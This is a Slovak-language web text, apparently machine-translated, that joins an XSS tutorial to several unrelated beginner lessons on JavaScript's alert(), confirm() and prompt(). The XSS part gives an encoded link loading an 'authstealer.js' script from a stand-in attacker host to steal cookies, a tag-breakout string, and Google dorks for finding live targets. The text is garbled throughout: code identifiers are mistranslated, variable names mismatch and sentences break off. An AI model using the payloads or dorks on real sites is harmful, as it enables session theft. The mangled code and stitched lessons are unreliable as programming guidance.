Cross-site scripting (XSS) je chyba zabezpečenia, ktorá zahŕňa vloženie kódu na strane klienta (JavaScript) do webovej stránky, ktorú si prezerajú ostatní používatelia.
K zraniteľnosti dochádza v dôsledku nedostatočného filtrovania údajov, ktoré používateľ odošle na vloženie na webovú stránku. Oveľa jednoduchšie na pochopenie konkrétny príklad. Zapamätajte si akúkoľvek knihu návštev – ide o programy, ktoré sú navrhnuté tak, aby prijímali údaje od používateľa a následne ich zobrazovali. Predstavme si, že kniha návštev zadané údaje nijako nekontroluje a nefiltruje, ale jednoducho zobrazuje.
Môžete si načrtnúť svoj najjednoduchší skript (nie je nič jednoduchšie ako písať zlé skripty v PHP - veľa ľudí to robí). Ale pripravených možností je už dosť. Napríklad navrhujem začať s Dojo a OWASP Mutillidae II. Je tam podobný príklad. V samostatnom prostredí Dojo prejdite vo svojom prehliadači na: http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Ak jeden z používateľov zadal:
Potom sa na webovej stránke zobrazí:
Ahoj! Páči sa mi vaša stránka.
A ak používateľ zadá takto:
Ahoj! Páči sa mi vaša stránka.
Zobrazí sa takto:
Prehliadače ukladajú veľa súborov cookie z veľkého počtu stránok. Každá stránka môže prijímať iba súbory cookie, ktoré si sama ukladá. Napríklad web example.com uložil do vášho prehliadača niektoré súbory cookie. Ak prejdete na stránku other.com, táto stránka (skripty klienta a servera) nemá prístup k súborom cookie uloženým na stránke example.com.
Ak je example.com zraniteľný voči XSS, znamená to, že doň môžeme nejakým spôsobom vložiť kód JavaScript a tento kód bude vykonaný v mene example.com! Tie. tento kód bude napríklad pristupovať k súborom cookie zo stránky example.com.
Myslím, že každý si pamätá, že JavaScript sa spúšťa v prehliadačoch používateľov, t.j. v prítomnosti XSS, vložené škodlivý kód pristupuje k údajom používateľa, ktorý otvoril webovú stránku.
Vložený kód dokáže všetko, čo dokáže JavaScript, konkrétne:
- pristupuje k súborom cookie zo stránky, ktorú si prehliadate
- môže vykonať akékoľvek zmeny vzhľad stránky
- pristupuje do schránky
- môže vložiť programy JavaScript, ako sú keyloggery (zachytávače stlačenia klávesov)
- pripojiť sa k BeEF
- atď.
Najjednoduchší príklad so súbormi cookie:
V skutočnosti, upozorniť používa sa len na detekciu XSS. Skutočné škodlivé zaťaženie vykonáva skryté akcie. Tajne sa stýka s vzdialený serverútočníkovi a prenesie mu ukradnuté údaje.
Typy XSS
Najdôležitejšia vec, ktorú je potrebné pochopiť o typoch XSS, je, že sú:
- Uložené (trvalé)
- Odrazené (netrvalé)
Príklad konštanty:
- Špeciálne vytvorená správa z knihy návštev zadaná útočníkom (komentár, príspevok na fóre, profil), ktorá je uložená na serveri, sa stiahne zo servera vždy, keď používatelia požiadajú o zobrazenie stránky.
- Útočník získal prístup k údajom servera napr SQL injekcia a vložil škodlivý kód JavaScript (pomocou keyloggerov alebo BeEF) do údajov vydaných používateľovi.
Netrvalý príklad:
- Na stránke je vyhľadávanie, ktoré spolu s výsledkami vyhľadávania zobrazuje niečo ako „Hľadali ste: [hľadaný reťazec]“, pričom údaje nie sú správne filtrované. Keďže sa takáto stránka zobrazuje len tým, ktorí na ňu majú odkaz, kým útočník nepošle odkaz ostatným používateľom stránky, útok nebude fungovať. Namiesto odoslania odkazu obeti je možné použiť hosting škodlivého skriptu na neutrálnej stránke, ktorú obeť navštívi.
Tiež rozlišujú (niektoré ako typ neperzistentných XSS zraniteľností, niektorí hovoria, že tento typ môže byť aj typom perzistentných XSS):
- Modely DOM
Vlastnosti XSS založeného na DOM
Zjednodušene povedané, škodlivý kód „normálneho“ neperzistentného XSS môžeme vidieť, ak otvoríme HTML kód. Odkaz sa vytvorí napríklad takto:
http://example.com/search.php?q="/>
A pri otvorení zdrojového HTML kódu vidíme niečo takéto:
A DOM XSS mení štruktúru DOM, ktorá sa vytvára v prehliadači za chodu a škodlivý kód vidíme iba pri prezeraní vytvorenej štruktúry DOM. HTML sa nemení. Vezmime si tento kód ako príklad:
Potom v prehliadači uvidíme:
Zdrojový kód stránky:
Vytvorme adresu takto:
http://localhost/tests/XSS/dom_xss.html#input=tokenAlex;
Teraz stránka vyzerá takto:
Ale poďme sa na to pozrieť zdroj HTML:
Absolútne nič sa nezmenilo. Toto je to, o čom som hovoril, musíme sa pozrieť na štruktúru DOM dokumentu, aby sme identifikovali škodlivý kód:
Tu je funkčný prototyp XSS, na skutočný útok potrebujeme zložitejší náklad, čo nie je možné kvôli tomu, že aplikácia prestane čítať hneď za bodkočiarkou a niečo ako upozornenie(1); upozornenie(2) už nemožné. Avšak vďaka unescape() vo vrátených údajoch môžeme použiť užitočné zaťaženie takto:
http://localhost/tests/XSS/dom_xss.html#input=tokenAlex;
Kde sme nahradili symbol ; na ekvivalent v kódovaní URI!
Teraz môžeme napísať škodlivý obsah JavaScriptu a vytvoriť odkaz, ktorý pošleme obeti, rovnako ako štandardné netrvalé skriptovanie medzi stránkami.
Audítor XSS
AT Google Chrome(a tiež v Opere, ktorá teraz používa engine Google Chrome), čakalo ma toto prekvapenie:
dom_xss.html:30 Audítor XSS odmietol vykonať skript v "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);", pretože jeho zdrojový kód sa našiel v požiadavke. Audítor bol povolený, pretože server neodoslal ani hlavičku „X-XSS-Protection“, ani „Content-Security-Policy“.
Tie. prehliadač má teraz auditora XSS, ktorý sa pokúsi zabrániť XSS. Firefox túto funkcionalitu zatiaľ nemá, ale myslím si, že je to otázka času. Ak je implementácia v prehliadačoch úspešná, potom môžeme hovoriť o výraznej náročnosti aplikácie XSS.
Je užitočné si to zapamätať moderné prehliadače podniká kroky na obmedzenie úrovne využívania problémov, ako sú neperzistentné XSS a XSS založené na DOM. Na to treba pamätať aj pri testovaní webových stránok pomocou prehliadača – môže sa ukázať, že webová aplikácia je zraniteľná, ale nezobrazí sa vyskakovacie okno s potvrdením len preto, že ju prehliadač blokuje.
Príklady využitia XSS
Útočníci, ktorí majú v úmysle zneužiť chyby zabezpečenia skriptovania medzi lokalitami, musia pristupovať ku každej triede zraniteľnosti odlišne. Útočné vektory pre každú triedu sú opísané tu.
Pre zraniteľnosti XSS môžu útoky použiť BeEF, ktoré rozširuje útok z webovej stránky na lokálne prostredie používateľov.
Príklad neperzistentného XSS útoku
1. Alice často navštevuje určitú webovú stránku hostenú Bobom. Bobova webová stránka umožňuje Alice prihlásiť sa pomocou používateľského mena/hesla a uchovávať citlivé údaje, ako sú fakturačné údaje. Keď sa používateľ prihlási, prehliadač ukladá autorizačné cookies, ktoré vyzerajú ako nezmyselné znaky, t.j. oba počítače (klient aj server) si pamätajú, že zadala.
2. Malory poznamenáva, že Bobova webová stránka obsahuje netrvalú chybu zabezpečenia XSS:
2.1 Pri návšteve stránky vyhľadávania zadá hľadaný reťazec a klikne na tlačidlo Odoslať, ak sa nenájdu žiadne výsledky, stránka zobrazí zadaný hľadaný reťazec nasledovaný slovami „nenájdené“ a adresa URL vyzerá takto http://bobssite.org?q=her Vyhľadávací dopyt
2.2 Pri normálnom vyhľadávacom dopyte, ako je slovo " psov» stránka sa jednoducho vykreslí « psov nenájdené" a URL http://bobssite.org?q= psov, čo je celkom normálne správanie.
2.3 Keď sa však vyskytne anomálny hľadaný výraz, napr :
2.3.1 Zobrazí sa varovné hlásenie (ktoré hovorí „xss“).
2.3.2 Zobrazenie stránky nenájdené spolu s chybovým hlásením s textom „xss“.
2.3.3 zneužiteľná adresa URL http://bobssite.org?q=
3. Mallory vytvorí adresu URL na zneužitie tejto zraniteľnosti:
3.1 Vytvorí URL http://bobssite.org?q=puppies . Môže sa rozhodnúť konvertovať znaky ASCII do hexadecimálneho formátu, ako napr http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E aby ľudia nemohli okamžite dešifrovať škodlivú adresu URL.
3.2 Pošle e-maily niektorým nič netušiacim členom Bobovej stránky s odkazom „Pozrite sa na skvelé psy“.
4. Alica dostane list. Miluje psov a klikne na odkaz. Pri vyhľadávaní prejde na Bobovu stránku, nič nenájde, píše sa "psi nenašli" a úplne uprostred sa spustí značka so skriptom (na obrazovke ho nie je vidieť), načíta a spustí Malloryho program. authstealer.js (spúšťa XSS útoky). Alice na to zabudla.
5. Program authstealer.js beží v Alicinom prehliadači, ako keby pochádzal z Bobovej webovej stránky. Zoberie kópiu Alicinej autorizačnej cookie a pošle ju na Malloryho server, kde ich Mallory získa.
7. Teraz, keď je Mallory vnútri, prejde do platobnej sekcie webovej stránky, pozrie sa a ukradne kópiu čísla. kreditná karta Alice. Tá potom ide a zmení heslo, t.j. teraz Alice už ani nemôže vojsť.
8. Rozhodne sa urobiť ďalší krok a takto skonštruovaný odkaz pošle samotnému Bobovi a získa tak administrátorské privilégiá pre Bobovu stránku.
Útok s vytrvalým XSS
- Mallory má účet na Bobovej webovej stránke.
- Mallory si všimne, že Bobova webová stránka obsahuje trvalú zraniteľnosť XSS. Ak sa sťahujete do nová sekcia, uverejniť komentár, zobrazí všetko, čo je doň napísané. Ak však text komentára obsahuje značky HTML, tieto značky sa vykreslia tak, ako sú, a spustia sa všetky značky skriptu.
- Malory si prečíta článok v sekcii Novinky a napíše komentár do sekcie Komentáre. Do komentára vloží text:
- V tomto príbehu sa mi veľmi páčili psy. Sú také pekné!
- Keď Alice (alebo ktokoľvek iný) načíta stránku s týmto komentárom, spustí sa Malloryho značka skriptu a ukradne Alice autorizačný súbor cookie a odošle ho na vyzdvihnutie na Malloryho tajný server.
- Malory teraz môže uniesť Alicinu reláciu a vydávať sa za Alice.
Hľadanie stránok náchylných na XSS
Dorky pre XSS
Prvým krokom je výber stránok, na ktorých budeme vykonávať XSS útoky. Stránky je možné vyhľadávať pomocou Google dorks. Tu je niekoľko z týchto dork, ktoré môžete skopírovať a prilepiť do vyhľadávania Google:
- inurl:search.php?q=
- inurl:.php?q=
- inurl:search.php
- inurl:.php?search=
Otvorí sa pred nami zoznam stránok. Musíte otvoriť stránku a nájsť na nej vstupné polia, napríklad formulár spätná väzba, vstupný formulár, vyhľadávanie na stránke atď.
Hneď podotknem, že hľadať zraniteľnosti v obľúbených automaticky aktualizovaných webových aplikáciách je prakticky zbytočné. Klasickým príkladom takejto aplikácie je WordPress. V skutočnosti sú vo WordPresse, a najmä v jeho doplnkoch, slabé miesta. Okrem toho existuje veľa stránok, ktoré neaktualizujú ani engine WordPress (kvôli tomu, že správca webu urobil nejaké zmeny v zdrojovom kóde), ani pluginy a témy (zvyčajne ide o pirátske pluginy a témy). Ale ak čítate túto časť a dozviete sa z nej niečo nové, tak WordPress ešte nie je pre vás ... Určite sa k nemu ešte vrátime.
Najlepšími cieľmi sú rôzne nástroje a skripty, ktoré si sami napíšu.
Môžete si vybrať ako užitočné zaťaženie, ktoré chcete vložiť
Venujte pozornosť tomu, do ktorých značiek HTML kódu spadá váš vložený kód. Tu je príklad typického vstupného poľa ( vstup):
Náš náklad pôjde tam, kde je teraz slovo „obliečka na vankúš“. Tie. zmeniť na hodnotu značky vstup. Môžeme sa tomu vyhnúť – zatvorme dvojitý citát a potom samotná značka s "/>
"/>
Skúsme to na nejakej stránke:
OK, je tu chyba zabezpečenia.
Programy na vyhľadávanie a skenovanie zraniteľností XSS
Pravdepodobne všetky skenery webových aplikácií majú vstavaný skener zraniteľnosti XSS. Táto téma nie je pokrytá, je lepšie sa oboznámiť s každým takýmto skenerom samostatne.
Existujú aj špecializované nástroje na skenovanie zraniteľností XSS. Medzi nimi je to obzvlášť pozoruhodné.
V tomto článku preskúmame tri zaujímavé metódy, a to metódy alert(), potvrdiť() a prompt().. Oni všetci určené na interakciu s používateľom.
Všetky tieto tri metódy patria do objektu okna. A môžu sa volať takto: window.method_name(); JavaScript nám však umožňuje nešpecifikovať tento objekt okna, ale jednoducho napísať názov metódy.
Začneme s metódou alert(). Táto metóda, zobrazí zadanú správu v okne prehliadača používateľa. Toto pole sa zobrazí v hornej časti celej stránky a kým používateľ neklikne na tlačidlo OK, nezatvorí sa.
Aby sme to demonštrovali, zobrazme nejakú správu pomocou metódy alert ().
var today_is = "pondelok"; alert("Dnes je " + dnes_je);
Vo vnútri metódy môžeme zadať ľubovoľný reťazec, len bez html značiek. Nie sú tu spracované, ale zobrazené tak, ako sú.
Ak je reťazec, ktorý chceme zadať, veľmi dlhý a chceme naň skočiť Nový riadok, potom je tu značka html
nebude fungovať. Tu musíte použiť znak "\n".
Alert("Looooooooong \nStringgggggg");
Táto metóda sa často používa nájsť chybu v kóde.
Proces spracovania kódu ide zhora nadol, takže na zachytenie chyby jednoducho napíšeme metódu alert () do zamýšľanej oblasti, kde sa chyba nachádza. A ak alert() fungovalo, potom nie sú žiadne chyby až po riadok, kde je napísaný.
Ďalej ho musíte presunúť o jeden alebo viac riadkov nižšie. Uložíme zmeny, znova obnovíme stránku v prehliadači a uvidíme, či alert() fungovalo, čo znamená, že pred riadkom, kde sa nachádza, nie sú žiadne chyby, inak ak to nefungovalo, chyba je na riadku vyššie, kde sa momentálne nachádza. Týmto spôsobom môžete nájsť chybu v kóde.
metóda potvrdiť().
Táto metóda sa používa na potvrdenie odpovede na nejakú otázku. Existujú iba dve možnosti odpovede, áno (OK) alebo nie (Zrušiť / Zrušiť). Ak používateľ odpovie áno, metóda vráti hodnotu true, inak vráti hodnotu false.
Napríklad zobrazíme okno pomocou metódy potvrdiť(), kde sa používateľa opýtame „Ste si istý, že chcete opustiť stránku?“. Ak používateľ odpovie áno, tak cez metódu alert() zobrazíme takúto správu „Používateľ chce opustiť stránku“, v opačnom prípade zobrazíme ďalšiu správu „Používateľ nechce opustiť stránku“.
Var user_answer = potvrdit("Naozaj chcete opustiť stránku?"); if(user_answer) alert("Používateľ chce opustiť stránku"); else alert("Používateľ NECHCE \nstránku opustiť");
Takto funguje metóda potvrdiť(). Dá sa použiť pri rôznych príležitostiach. Napríklad pred odstránením niečoho zo stránky je zvykom opýtať sa používateľa, či si je istý svojimi činmi. Alebo sa ešte pred odoslaním formulára môžete používateľa spýtať „Vyplnil si všetko správne?“ Ak odpovie áno, tak sa formulár odošle, inak sa neodošle.
prompt() metóda
A posledná metóda, ktorú sa naučíme, je metóda prompt(). Táto metóda sa používa menej často ako ostatné dve metódy. Umožňuje vám získať od používateľa niektoré informácie, ktoré zadá do textového poľa.
Výsledkom je, že metóda prompt() vráti buď vstupný reťazec, ak používateľ klikol na tlačidlo OK, alebo hodnotu null, ak používateľ klikol na tlačidlo zrušiť.
Ako parameter, teda do zátvoriek tejto metódy, môžeme napísať indikatívny reťazec alebo otázku, aby používateľ vedel, aké informácie je potrebné zadať.
Požiadajme napríklad používateľa, aby odpovedal na otázku „Ako sa voláš?“. Meno zadané používateľom sa zobrazí na obrazovke pomocou metódy alert().
Varname = prompt("Ako sa voláš?"); alert("Vaše meno je " + meno);
Uložte a otvorte stránku v prehliadači.
Samozrejme, pomocou metódy prompt() je možné do textového poľa zadať akékoľvek informácie. Tieto informácie budú vrátené ako reťazec, a to aj v prípade čísel alebo iných špeciálnych znakov.
Požiadajme napríklad používateľa, aby zadal dve čísla, aby ich mohol neskôr vynásobiť. K dispozícii bude kalkulačka na násobenie čísel.
Var x = prompt("Zadajte prvé číslo:"); var y = prompt("Zadajte druhé číslo:"); //Prevod zadaných čísel z typu reťazec na typ číselný x = Číslo(x); y = číslo (y); document.write(x + " * " + y + " = " + (x * y));
Zadané čísla sú reťazce, takže pre správny výsledok násobenia musia tieto čísla prejsť funkciou Number(), ktorá ich prevedie z typu reťazca na normálne čísla.
No to je všetko. Teraz poznáte ďalšie tri spôsoby: upozorniť(), potvrdiť() a vyzvať(). Ktoré môžete pokojne využiť v praxi.
V tejto lekcii sa zoznámime s metódami objektu okna: alert() , prompt() a potvrdit() .
metóda alert().
Metóda alert() je určená na zobrazenie dialógového okna s upozornením so zadanou správou a tlačidlom OK na obrazovke používateľa. Môže sa použiť na sprostredkovanie dôležitých informácií používateľovi.
window.alert(Parameter_1);
Metóda alert() má jeden povinný parameter, ktorým je text správy, ktorá sa zobrazí v dialógovom okne. Táto metóda v dôsledku jej vykonania nič nevracia.
Zobrazme napríklad dialógové okno s upozornením pre návštevníka stránky pri kliknutí na odkaz: Prejdite na stránku
metóda potvrdiť().
Metóda potvrdiť() objektu okna je určená na zobrazenie dialógového okna so zadanou správou a tlačidlami OK a Zrušiť na obrazovke používateľa. Pomocou okna potvrdenia môžete používateľa požiadať o povolenie na vykonanie akcie.var vysledokPotvrdit = potvrdit(Parameter_1);
Táto metóda má jeden parameter – text správy, ktorý sa zobrazí v dialógovom okne.
Metóda potvrdiť() vracia jednu z dvoch hodnôt ako výsledok (resultConfirm) svojho vykonania:
- true, ak používateľ klikol na tlačidlo OK;
- false, ak používateľ klikol na tlačidlo Zrušiť alebo ho zatvoril.
Ukážme napríklad v prvku p s id="resultConfirm" výsledok kliknutia používateľa na tlačidlo "OK" v dialógovom okne:
prompt() metóda
Metóda prompt() je určená na zobrazenie dialógového okna so správou, textovým poľom na zadávanie údajov a tlačidlami „OK“ a „Zrušiť“ na obrazovke používateľa. Je určený na vyžiadanie údajov od používateľa.
var vysledokPrompt = prompt(Parameter_1, Parameter_2);
Táto metóda má dva parametre:
- správu, ktorá sa zobrazí v dialógovom okne. Tento parameter je povinný a obsahuje správu, ktorá „hovorí“, aké údaje má používateľ zadať do textového poľa;
- druhý parameter je voliteľný a dá sa použiť na určenie počiatočnej hodnoty, ktorá sa po otvorení zobrazí vo vstupnom poli dialógového okna.
V závislosti od akcií používateľa môže metóda prompt() vrátiť nasledujúce údaje:
- textová hodnota - ak vstupné pole obsahuje údaje a používateľ klikol na "OK";
- prázdny reťazec - ak vstupné pole neobsahuje údaje a používateľ klikol na "OK";
- null - ak používateľ klikol na "Zrušiť" alebo zatvoril toto okno, nezáleží na tom, aké údaje boli zadané do textového poľa.
Poznámka: Dialógové okno, ktoré sa zobrazí ako výsledok vykonania jednej z metód alert() , potvrdit() alebo prompt() je modálne, t.j. blokuje prístup používateľa k nadradenej aplikácii (prehliadaču), kým používateľ nezatvorí dialógové okno.
Používateľa sa napríklad opýtame na meno a v závislosti od výsledku zobrazíme text v prvku c id="nameUser" :
Napríklad požiadajme používateľa, aby uhádol číslo 8:
... Hádaj číslo
Môže sa uskutočniť organizácia dialógu s návštevníkom webového zdroja rôzne cesty, ktorých použitie JavaScript funkcie alert() je najjednoduchšia a najrýchlejšia možnosť. Táto možnosť je obzvlášť dobrá na testovacie účely, ale na mnohých zdrojoch sa používa ako prirodzená funkcia.
Funkcia JavaScript alert() vám umožňuje získať kladnú odpoveď. V skutočnosti nie je dôležitá odpoveď, ale samotný fakt výstupu informácií. Okrem toho webový zdroj prestane fungovať, kým používateľ neodpovie. Odpoveď na upozornenie je vždy rovnaká – toto je odpoveď!
Na účely ladenia je JavaScript alert() dokonalým nástrojom na rýchle získanie aktuálnych informácií, prijatie rozhodnutia a pokračovanie v práci. Ale pre účely bežného fungovania stránky má aj poriadnu dávku výhod.
Upútanie pozornosti návštevníka
"Upozornenie" - ako v živote, tvorí udalosť, ktorá sa nedá obísť. ale táto udalosť môže, ale nemusí nastať..
Zriedkavý vývojár si je vedomý tejto okolnosti a bolestivo dlho ladí svoju stránku na strane klienta. Zároveň len málo vývojárov nevie: často je také ťažké nájsť chybu v klientovi, teda v prehliadači, že:
- hodiny drahocenného času sú premárnené;
- sú vynaložené neuveriteľné transformácie kódu;
- veľa skriptov je odložených, slovami, prehliadač aj server to dostanú.
A nie je žiadny výsledok. Nepomáhajú ani debuggery, ani slová, ani nástroje na ladenie zabudované v každom prehliadači. Medzitým sa truhlica vždy len otvorí – dôležitý je správny kľúč.
Jednoduché pravidlo správneho kódu
Po prvé, cookies sa stali najžiadanejšou súčasťou modernej webovej stránky. Nikdy by ste nemali zabudnúť:
- Upozornenie JavaScript a súbor cookie dokumentov
- „tu a teraz“ a „vôbec alebo niekedy“.
Súbory cookie sú skvelou funkciou, ktorú si v hĺbke prehliadača zapamätáte o každom klientovi, ale v aktuálnej relácii by ste tomu nemali prikladať dôležitosť. Hlavnou starosťou cookies je zostať v „pamäti“ prehliadača v obsahu, ktorý mal v čase, keď návštevník odišiel.
Vo všetkých ostatných ohľadoch je kód skriptu v útrobách prehliadača závislý len od seba a od udalostí, ktoré spracováva.
V tomto kontexte, a tento kontext je tu ideálny, kód nemôže zlyhať, ak je napísaný správne. Toto je ideálne pravidlo pre správny kód. Ak prehliadač zobrazuje prázdnu obrazovku alebo robí niečo nesprávne, existuje dôvod domnievať sa, že došlo k chybe.
Jednoduchšie aplikovať:
- Upozornenie JavaScript ("Zatiaľ bolo všetko v poriadku!").
Najlepší debugger alebo debugger je udalosť, ktorá sa musí stať ale to sa nestane.
Posunutím tejto konštrukcie z nuly na nepríjemný zločin v kóde môžete nájsť miesto, po ktorom to nefunguje. Chyba sa nájde. JavaScript alert() je modálne okno . Nedá sa to nijako obísť a nič sa nestane, kým vývojár / návštevník toto okno nezavrie.
Ak sa okno nezobrazí, potom je buď nesprávne uvedené v kóde, alebo všetko, čo predchádza, obsahuje chybu.
Zložitá situácia, keď sa zdá, že výstražný JavaScript nefunguje
Týka sa to hlavne algoritmov AJAX na výmenu informácií so serverom. Nie vždy je prijateľné používať klasické ladiace nástroje tu a na strane klienta vrstvený systém objekty, potom sa ladenie vo všeobecnosti transformuje do mysle vývojára a žiadny debugger nepomôže.
Najlepšou možnosťou upozornenia v postupe komunikácie so serverom je div (div), v ktorom je umiestnený protokol na komunikáciu so serverom metódou innerHTML - vždy bude jasné, v akom štádiu sa problém vyskytuje.
Statický prvok div, ktorý je na stránke vždy viditeľný, nie je modál upozornenia JavaScript. Okno sa nemusí zobraziť a môže to mať veľa dôvodov a sú syntakticky správne. Jazyk prehliadača má mimoriadne pokojnú povahu a nikdy nepodnikne žiadnu akciu, ak niečo nerozanalyzoval a nerozumel.
Statická povaha akéhokoľvek HTML tag je dobrý faktor. Odstráňte celý kód a pridajte ho po častiach, kým sa chyba znova nevyskytne - nie je to najlepšie rýchla technológia na ladenie. Správne písanie je populárna rada, žiadaná, ale nie praktická.
Jazyk prehliadača je riadený udalosťami, jeho hlavným záujmom nie je sekvenčný kód, ale vykonávanie funkcií priradených značkám stránok a spracovanie udalostí.
Dodatočné pravidlo k jednoduchému pravidlu
Ak sa v prehliadači neobjavilo okno z upozornenia JavaScript ("Zatiaľ je všetko napísané správne"), znamená to, že syntax až po miesto, kde je táto konštrukcia napísaná, nevyvoláva v prehliadači pochybnosti a je vykonaná správne.
Logika moderný štýl písmená majú značnú nevýhodu. Všetky súbory stránok sa zlúčia (s ich podstatou a typmi) do jedného celku a potom sa vytvorí DOM. Poradie, v ktorom sú súbory spojené, je často dôležité.
Najlepšie je, keď vývojár neprikladá dôležitosť princípu udalosti organizovania vykonávania funkcií priradených udalostiam, ale usporiada všetky funkcie v poradí ich aplikácie a priradenia k značkám stránky a udalostiam.
Poriadok je vždy najdôležitejší. JavaScript príde na zvyšok sám: čo a kedy zavolať. Moderné programovanie vo všeobecnosti a v kontexte akejkoľvek metódy, najmä akéhokoľvek vysoko organizovaného objektovo orientovaného prístupu, je vždy konzistentné. sa vždy kombinujú postupne, ako sú opísané.
Ak sa niečo nestane, znamená to: nie niekde niečo nie je v poriadku, ale iba pred týmto miestom.
- metódy okenných objektov;
- metóda alert(): krátke zhrnutie;
- metóda potvrdiť() - písať písmená;
- metóda prompt() - poďme sa zoznámiť, ja som Stirlitz.
Takže objekty prehliadača. A v prvom rade - najstarší z nich, objekt okno.
Tu sú hlavné metódy objektu okno(okrem nich sú tu aj ďalšie, ale málo použiteľné a aby som nezahltil mozog zbytočnými informáciami, odložím ich až na tretiu sériu).
Metóda |
Popis |
otvárať a zatvárať okná prehliadača; je možné určiť veľkosť okna, jeho obsah, ako aj prítomnosť klávesnica, polia adries a ďalšie atribúty. |
|
Zobrazenie dialógového okna alarmu s príslušnou správou. |
|
Zobrazenie potvrdzovacieho dialógového okna s tlačidlami „OK“ a „Zrušiť“. |
|
Vzhľad dialógového okna výzvy s poľom na zadávanie textu. |
|
Nastavte alebo odstráňte zameranie okna. |
|
Posúva obsah okna do konkrétneho bodu. |
|
Nastavenie časového intervalu medzi volaním funkcie a vyhodnotením výrazu. |
|
Nastavenie jednorazového intervalu pred volaním funkcie alebo vyhodnotením výrazu. |
To už vieme oknočasto naznačené, ale nie napísané.
Vyvolanie rôznych dialógových okien
Dialógové okná sa používajú v programoch na interakciu s používateľom.
metóda alert().
Rozoberali sme to hneď na začiatku štúdia. Vytvára jednoduché dialógové okno so správou a tlačidlom OK. Celá jeho interakcia je obmedzená na to, že používateľ stlačením tohto jediného tlačidla môže toto okno poslať niekam ďaleko (a za to mu ďakujeme).
metóda potvrdiť().
Metóda potvrdiť () už umožňuje užívateľovi urobiť to najjednoduchšie „boolovské“ rozhodnutie: povedať „áno“ alebo „nie“.
Kliknite napríklad na toto tlačidlo:
Ospravedlňujem sa za malý žart. Dúfam, že viete, ako používať tlačidlo späť.
Ako je to celé usporiadané? Samozrejme ste videli, že mám túto metódu kombinovanú s upozorneniami. A to sa deje pomocou funkcie, ktorá je vložená .
Metóda vracia dve hodnoty: pravda(ak je v poriadku) a falošný(v prípade zrušenia).
AT pravda pošleme ho na príslušnú stránku (vlastníctvo href objekt umiestnenie) a vypíšte príslušné upozornenie(). V opačnom prípade (t.j. falošný) vypíšte ďalší upozornenie().
A v tlačidle voláme funkciu v udalosti po kliknutí:
A potom musíte zavolať túto funkciu z obsluhy udalosti onOdoslať tag , napríklad:
Tu mi môžete napríklad napísať na "mydlo" všetko, čo si myslíte o mojich lekciách. Ak ste sa zrazu rozčúlili a stlačili ste tlačidlo, a potom sa vám to nejako zvrtlo, objaví sa dialógové okno a vytriezvie vás.
Ak vytvárate kontextové okná, je dobrým zvykom varovať používateľa a dať mu na výber, či má okno otvoriť alebo nie. Ak to chcete urobiť, pred načítaním okna musíte uvoľniť dialógové okno "parlament". potvrdiť (). Tu sa funkcia volá z . O tom si povieme veľmi skoro, keď prejdeme k vytváraniu okien pomocou metódy OTVORENÉ().
prompt() metóda
Táto metóda už používateľa vyzve na zadanie konkrétnych údajov. Zobrazí sa dialógové okno so vstupným poľom. Metóda vráti údaje, ktoré používateľ zadal do tohto poľa a umožní programu s týmito údajmi pracovať.
Pri metóde prompt() dva argumenty: otázka (ktorá sa zobrazuje nad vstupným poľom) a odpoveď (text vo vstupnom poli):
Ak chcete, aby vstupné pole vyzeralo čisté, vložte ako druhý argument prázdne úvodzovky:
výzva("text otázky","") |
Pozrime sa na to v praxi. Stlačte tlačidlo, nebojte sa.
Takže ste zadali (alebo nezadali) údaje a dostali ste odpoveď z počítača na základe týchto údajov (alebo ich nedostatku).
Tu je jednoduchá verzia tejto funkcie:
Nehnuteľnosť innerHTML, ktorý umožňuje ovládať obsah tagu, sme sa stretli na lekcii 10, keď sme programovali názvy pod obrázkami.
A tu je kód pre tlačidlo a prázdny odsek pre pozdrav.
|
Ale ak ste sa ukázali ako môj menovec, videli ste, že funkcia reagovala aj na toto.
Ako to urobiť v "hrubej" verzii, už môžete hádať sami. Je potrebné skontrolovať premennú užívateľské meno nielen na prázdne úvodzovky, ale aj na " Andrew“ a pridajte ešte jednu ak s príslušným textom (môžete si precvičiť sami).
Ale ak napíšete " Andrew", "Andryusha", "Andryushka", "Andryukha", "Andrejka", "Andrej Ivanovič“ atď., potom bude výsledok podobný, aj keď som neprešiel výslovne všetky tieto hodnoty, ale zvládol som iba päť riadkov: Andre", "Andrew", "Andrew", "Andreiche" a " Andreichu"(posledné tri - aby sa vylúčili Andreev, Andreichenko a Andreichuk z menoviek, pričom Andreichik zostal v meninách).
To znamená, že môžete hádať, že funkcia kontroluje premennú užívateľské meno pre prvých 5, 6 alebo 8 znakov.
Ale o tom si povieme trochu neskôr, keď prejdeme k objektom typu string a ich metódam. Chcem len, aby ste si vopred predstavili úlohy, ktoré musíme vyriešiť (najmä všetky druhy rozdeľovania reťazcov na podreťazce). Potom sa samotné rozhodnutia budú zdať jasnejšie. Ak sa ale neviete dočkať, môžete si funkciu „skopírovať“ z kódu a „ostrihať ju ako orech“. Pre zvedavcov som tam napísal komentár.
Metóda prompt() možno použiť aj na zadanie hesla.
Toto nie je koniec lekcie!
Poďme sa trochu „zahrať na špióna“, aby sme dočítali túto kapitolu. Najprv skúste stlačiť tlačidlo a niečo napísať.
Ach, to je všetko! Ale pozrite, je tu ďalšie tlačidlo! Poď...
heslo:
Znova stlačte prvé tlačidlo a zadajte správne heslo.
Všetka táto sranda má možno vplyv, ale v skutočnosti sa heslo dá nájsť stlačením pravé tlačidlo a pozrieť sa na to v kóde. Niekto si môže naivne myslieť, že stačí dať kód do samostatného .js súboru. Ale v kóde stránky bude odkaz na tento súbor s adresou. A ak ho vytočíte adresný riadok, potom sa otvorí súbor s kódom JavaScript :)
Je možné zašifrovať heslo v kóde? Môžete, ale to si opäť vyžaduje manipuláciu s reťazcami spolu s použitím niektorých matematických metód. Keď sa k tomu všetkému dostaneme, preštudujeme si aj „skutočný“ skript hesiel. Ale technika interakcie s používateľom bude stále rovnaká: metóda prompt(). (Je možné „prelomiť“ šifrované heslo? Bohužiaľ, dokonalosť hackerov nemá žiadne hranice ...)
Tak, ako sme „zachytili“ meno alebo jeho absenciu, zachytíme aj heslo s funkciou.
Ak zadáte nesprávne heslo alebo nezadáte nič, riadok
document.getElementById("no").style.display = "blok"
otvorí blok druhým tlačidlom
A ak je zadané správne heslo, akcia sa prenesie do reťazca
document.getElementById("yes").style.display = "blok",
čím sa otvorí ďalší blok
Stop, čo sú tie kryakozubry? Toto je jednoduchá šifra, čoskoro vysvetlím.
